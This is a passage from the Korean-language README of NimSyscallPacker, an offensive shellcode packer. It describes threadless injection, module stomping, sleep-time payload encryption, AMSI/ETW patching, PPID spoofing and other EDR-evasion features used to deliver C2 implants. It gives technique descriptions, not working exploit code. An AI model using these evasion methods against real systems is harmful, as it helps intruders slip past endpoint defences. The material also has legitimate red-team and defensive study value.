ThreadlessInject를 사용하려면 자신이 무엇을 하고 있는지 알아야 합니다. 원격 프로세스에서 API를 후킹하는 방식이므로 이 기법은 각각의 다른 원격 프로세스에 맞게 조정해야 합니다. 먼저 원격 프로세스가 일반적으로 정기적으로 호출하는 API가 무엇인지 알아야 무엇을 후킹할지 알 수 있습니다. 예를 들어 일반적인 Windows 프로세스에서 [API Monitor](http://www.rohitab.com/apimonitor)를 통해 이를 모니터링할 수 있습니다. 후크를 대상 프로세스에 맞게 조정하지 않으면 Payload가 실행되지 않습니다.

기본값은 내장된 spawn/inject `rundll32.exe` 대상에만 유용합니다. 이 프로세스는 `ntdll.dll`의 `NtWaitForMultipleObjects`를 정기적으로 호출하기 때문입니다. 다른 프로세스도 이 함수를 호출하지만, 여기서 권장하는 것은 옵션을 대상 프로세스에 맞게 조정하는 것입니다.

### Module Stomping - 주의할 사항

Module stomping을 사용하면 이미 로드된 DLL의 `.text` 섹션(일부)을 덮어쓰므로 Shellcode 인젝션을 위한 메모리를 더 이상 할당하지 않아도 되는 이점이 있습니다. 대상 원격 프로세스에 DLL이 이미 로드되어 있지 않은 경우, `LoadLibrary`에 원격 스레드를 생성하거나 ThreadlessInject를 사용할 때 사용자 지정 LoadLibrary-Shellcode를 가리키는 후크를 통해 DLL이 먼저 강제로 로드됩니다. 기본적으로 `chakra.dll`이 Stomping에 사용되며, 크기 때문에 대부분의 경우 적합합니다. 그러나 Packer 매개변수를 통해 DLL을 원하는 대로 변경할 수 있습니다.

CFG를 피하기 위해 현재 구현은 하나(또는 Caro-Kann이 활성화된 경우 두 개)의 DLL 엔트리포인트를 덮어씁니다:

- `JsRunScript`
- `MemProtectHeapUnprotectCurrentThread`

DLL을 변경하는 경우 대상 함수 이름도 변경해야 합니다. 다른 DLL에는 존재하지 않을 수 있기 때문입니다. 또한 다음 중 하나에 해당하면 문제가 될 수 있습니다:
1. 대상 DLL의 `.text` 섹션에 Shellcode를 위한 공간이 충분하지 않음
2. `.text` 섹션의 두 함수 사이에 공간이 충분하지 않아 첫 번째 함수가 두 번째 함수에 의해 덮어써짐

제 코드는 이러한 상황을 처리하지 않으며 현재 이에 대해 확인하지도 않습니다. 따라서 프로덕션에서 사용하기 전에 크기와 오프셋을 확인해야 합니다.

또한 일부에게는 당연한 것일 수 있지만 서버는 클라이언트와 다른 DLL을 사용합니다. 따라서 서버를 대상으로 할 때 Loader/Tool을 조정해야 합니다.

이 Module Stomping 구현은 또한 `DONT_RESOLVE_DLL_REFERENCES`와 함께 `LoadLibraryEx`를 통해 DLL을 로드하지 **않습니다**. 이것은 더 불안정한 방식이지만, 이 API 사용으로 인한 특정 IoC에 대한 EDR 탐지를 없애기 위해 여전히 이 방식으로 구현했습니다.
자세한 내용은 다음 블로그 게시물을 읽으십시오:
- [https://bruteratel.com/release/2023/03/19/Release-Nightmare/](https://bruteratel.com/release/2023/03/19/Release-Nightmare/)

### 메모리 암호화

현재 Packer에는 두 가지 메모리 암호화 기법이 내장되어 있습니다. ShellcodeFluctuation용 `--fluctuate` 또는 SleepyCrypt용 `--sleepycrypt`입니다.

ShellcodeFluctuation은 현재 Win32 Sleep을 사용하는 C2-Payload에만 사용할 수 있습니다. 이 함수를 후킹하기 때문입니다. 이 경우 임플란트가 sleep할 때마다 Shellcode만 스택에서 암호화됩니다.

SleepyCrypt는 Shellcode뿐만 아니라 PE-Stack 전체, 즉 모든 섹션을 암호화합니다. 단점은 암호화가 임플란트와 독립적이며 고정된 시간 값(예: 10초 암호화, 1초 실행 시간)으로 수행된다는 것입니다. 이로 인해 일부 C2-Framework에서 실행에 문제가 발생할 수 있습니다.

### 내 MSF, CobaltStrike 또는 XxX가 여전히 탐지되는 이유는 무엇인가요?

이것을 읽으십시오:
[https://s3cur3th1ssh1t.github.io/Signature_vs_Behaviour/](https://s3cur3th1ssh1t.github.io/Signature_vs_Behaviour/)

## 알려진 버그

- Linux 시스템에서 최신 mingw-gcc 버전과 함께 `--hellsgate`를 사용하면 컴파일이 실패합니다.
- Linux/Debian에서 `-d:noRES`를 사용하여 Packer를 컴파일하여 컴파일러 오류를 피하십시오.
- `--syswhispers --jump`를 `--peload`와 함께 사용하면 크래시가 발생합니다. 현재로서는 이 부작용이 어디서 발생하는지 알 수 없으므로 이 옵션을 사용하지 않는 것만 권장합니다.
- `--obfuscate`는 ASM-Stub을 잘 처리하지 못하므로 `--hellsgate` 또는 `--syswhispers`와 함께 바이너리를 컴파일할 수 없습니다.
- XP/WS2k3는 `--syswhispers --noAntidebug --noDInvoke` 플래그에서만 작동합니다.
- `--x86` / `--wow64`는 더 이상 유지 관리되지 않으며 현재 번들된(non-multilib) MinGW-w64 툴체인에서 작동하지 않습니다. x64 빌드를 사용하십시오.
- 최신 MinGW-w64 링커(11+)는 기본적으로 높은 PE 이미지 베이스를 사용하므로 `relocation truncated to fit: R_X86_64_32S against .bss` 오류와 함께 `-static` 링크가 깨집니다. Packer는 이 문제를 우회하기 위해 생성된 Loader 컴파일 명령에 `-Wl,--image-base=0x10000`을 전달합니다. 이 스택으로 독립형 Nim+static 바이너리를 빌드하는 경우 동일한 플래그가 필요할 수 있습니다.

## 할 일
- [x] syscalls를 통한 PELoader
- [x] Hellsgate 지원
- [X] 필요한 Winim 라이브러리만 로드
- [x] 원격 프로세스 AMSI/ETW 패칭 ([SnD_AMSI](https://github.com/whydee86/SnD_AMSI) 기반)
- [X] 원격 패칭에 Syscall 사용
- [X] 패칭 전에 "패치할" DLL(ntdll 또는 amsi.dll)을 원격 프로세스에 원격으로 로드 (그렇지 않으면 도움이 되지 않음)
- [x] 원격 Shellcode 인젝션 + PELoading을 위한 Hellsgate 지원
- [X] DLL 출력
- [X] DLL Sideloading 기능
- [X] Powershell 출력
- [X] C# 출력
- [X] win32 함수를 위한 더 많은 syscall 및/또는 D/Invoke
- [X] Cobalt Strike 통합 - CNA
- [ ] 예: PEB 필드 조작을 통한 매개변수 전달 (Command line 스푸핑처럼)
- [X] API 임포트 함수 패칭을 통한 매개변수 전달
- [X] Sleep Hook을 통한 Shellcode 메모리 암호화 [ShellcodeFluctuation처럼](https://github.com/mgeeky/ShellcodeFluctuation)
- [X] 프로세스가 생성되고 EDR의 훅이 로드된 후 ‘GetConsoleWindow’ 및 ‘ShowWindow’ Windows 함수를 호출한 다음, GUI 컴파일 플래그 대신 창 속성을 숨김으로 변경
- [X] 잠재적으로 중요한 일부 스텁 사이에 더 많은 sleep 추가
- [X] 인젝션 전에 생성할 사용자 정의 원격 프로세스 정의 (현재는 notepad로 하드코딩됨)
- [X] 새로 생성된 프로세스에 대한 PPID Spoofing
- [X] 새 프로세스에 대한 BlockDLLs
- [X] 패치 없는 AMSI 우회 (예: https://gist.github.com/CCob/fe3b63d80890fafeca982f76c8a3efdf)
- [X] NtCreateSection Hook을 통한 AMSI 우회 (예: https://waawaa.github.io/es/amsi_bypass-hooking-NtCreateSection/)
- [X] EtwNotificationRegister, EtwEventRegister, EtwEventWriteFull에 대한 더 많은 ETW 패칭
- [X] 서비스 바이너리 지원, 예: https://github.com/enthus1ast/nimWindowsService/
- [X] 프로세스 attach가 있는 DLLMain용 DLL 하이재킹 스위치
- [X] x86 캐스팅 버그 수정
- [ ] Wow64 지원
- [X] `--pump` null 바이트를 사이에 추가, 예: https://gitlab.com/ORCA000/entropyfix (테스트해야 함, 크래시가 발생할 수 있음)
- [X] CPL 출력 파일
- [ ] 데코이 HTTP 요청 옵션
- [X] 임베딩(기본값)의 대안으로 웹서버에서 Shellcode를 다운로드하거나 로컬 파일에서 읽기
- [X] dynlib을 덮어써서 Function IoC를 피하고 크기를 줄이기 위해 더 많은 컴파일러 플래그 사용 `-d:nimNoLibc -d:noSignalHandler --gc:none -d:noSignalHandler --infChecks:off --stdout:off --hotCodeReloading:off --stackTraceMsgs:off --tlsEmulation:off --nanChecks:off -d:nimBuiltinSetjmp --sinkInference:off --deepcopy:off --styleCheck:off --skipParentCfg --passC:"-nostdlib -ffunction-sections -fno-ident -fno-asynchronous-unwind-tables -fno-exceptions" --passL:"-s --disable-runtime-pseudo-relo  --disable-reloc-section" --dynlibOverrideAll`
- [X] 원격 프로세스 인젝션을 위해 OpenProcess 대신 클론된 핸들 사용(Handlekatz처럼) 또는 대안으로 Handle Elevation
- [X] Handle elevation
- [X] 원격 인젝션을 위한 ThreadlessInject 추가
- [ ] https://github.com/lem0nSec/CreateRemoteThreadPlus 의 Nim 포트를 통한 원격 인젝션용 Callback 실행 프리미티브 추가
- [X] Payload를 MAC 또는 IP 주소로 저장하고 런타임에 암호화된 Payload를 검색하여 엔트로피 감소
- [X] 메모리 스캔 탐지를 피하기 위해 Thread 시작 주소의 여러 영역에 대한 다중 Jump 추가 (DripLoader처럼) (https://web.archive.org/web/20220319032617/https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection)

## 크레딧

- [X] [@WhyDee86](https://twitter.com/WhyDee86) - Sleep 함수 + 원격 프로세스 라이브러리 모듈 + 하드코딩된 인수 초기 코드
- [X] [@chvancooten](https://twitter.com/chvancooten) - Custom strenc + 그의 Nim Packer에서 영감
- [X] [@lefayjey](https://github.com/lefayjey) - DLL 출력 + CNA 스크립트 기여
- [X] [@d35ha](https://github.com/d35ha/CallObfuscator) - CallObfuscator
- [X] [@klezVirus](https://github.com/klezVirus/NimlineWhispers3) - NimlineWhispers3
- [X] [@TheWover](https://github.com/TheWover/donut) - Donut
- [X] [@icyguider](https://github.com/icyguider) - 영감
- [X] [Tylous](https://github.com/Tylous/) - LimeLighter
- [X] [Mr-Un1k0d3r](https://github.com/Mr-Un1k0d3r) - 1바이트 AMSI / ETW 패치 + SandBox Evasion 아이디어
- [X] [glynx](https://github.com/glynx) - Nim-RunPE 하드코딩 인수 Pull Request
- [X] [moloch--](https://github.com/moloch--) - Denim
- [X] [EdgeBalci](https://github.com/EgeBalci) - SGN
- [X] [monoxgas](https://github.com/monoxgas) - Koppeling
- [X] [eversinc33](https://github.com/eversinc33) - BouncyGate, Docker File
- [X] [OffenseTeacher](https://github.com/OffenseTeacher) - Steganim
- [X] [OtterHacker](https://github.com/OtterHacker/Conferences/tree/main/Defcon31) - Stomb+Threadless 인젝션 아이디어
- [X] [DrDv](https://github.com/DrorDvash) - CommandLine 생성기

## 법적 고지:
NimSyscallPacker를 사전 상호 동의 없이 대상을 공격하는 데 사용하는 것은 불법입니다. 모든 관련 지방, 주, 연방 법률을 준수하는 것은 최종 사용자의 책임입니다. 개발자는 어떠한 책임도 지지 않으며 이 프로그램으로 인한 오용이나 손해에 대해 책임지지 않습니다. 교육 목적으로만 사용하십시오.
도구 다운로드
www.microsoft.com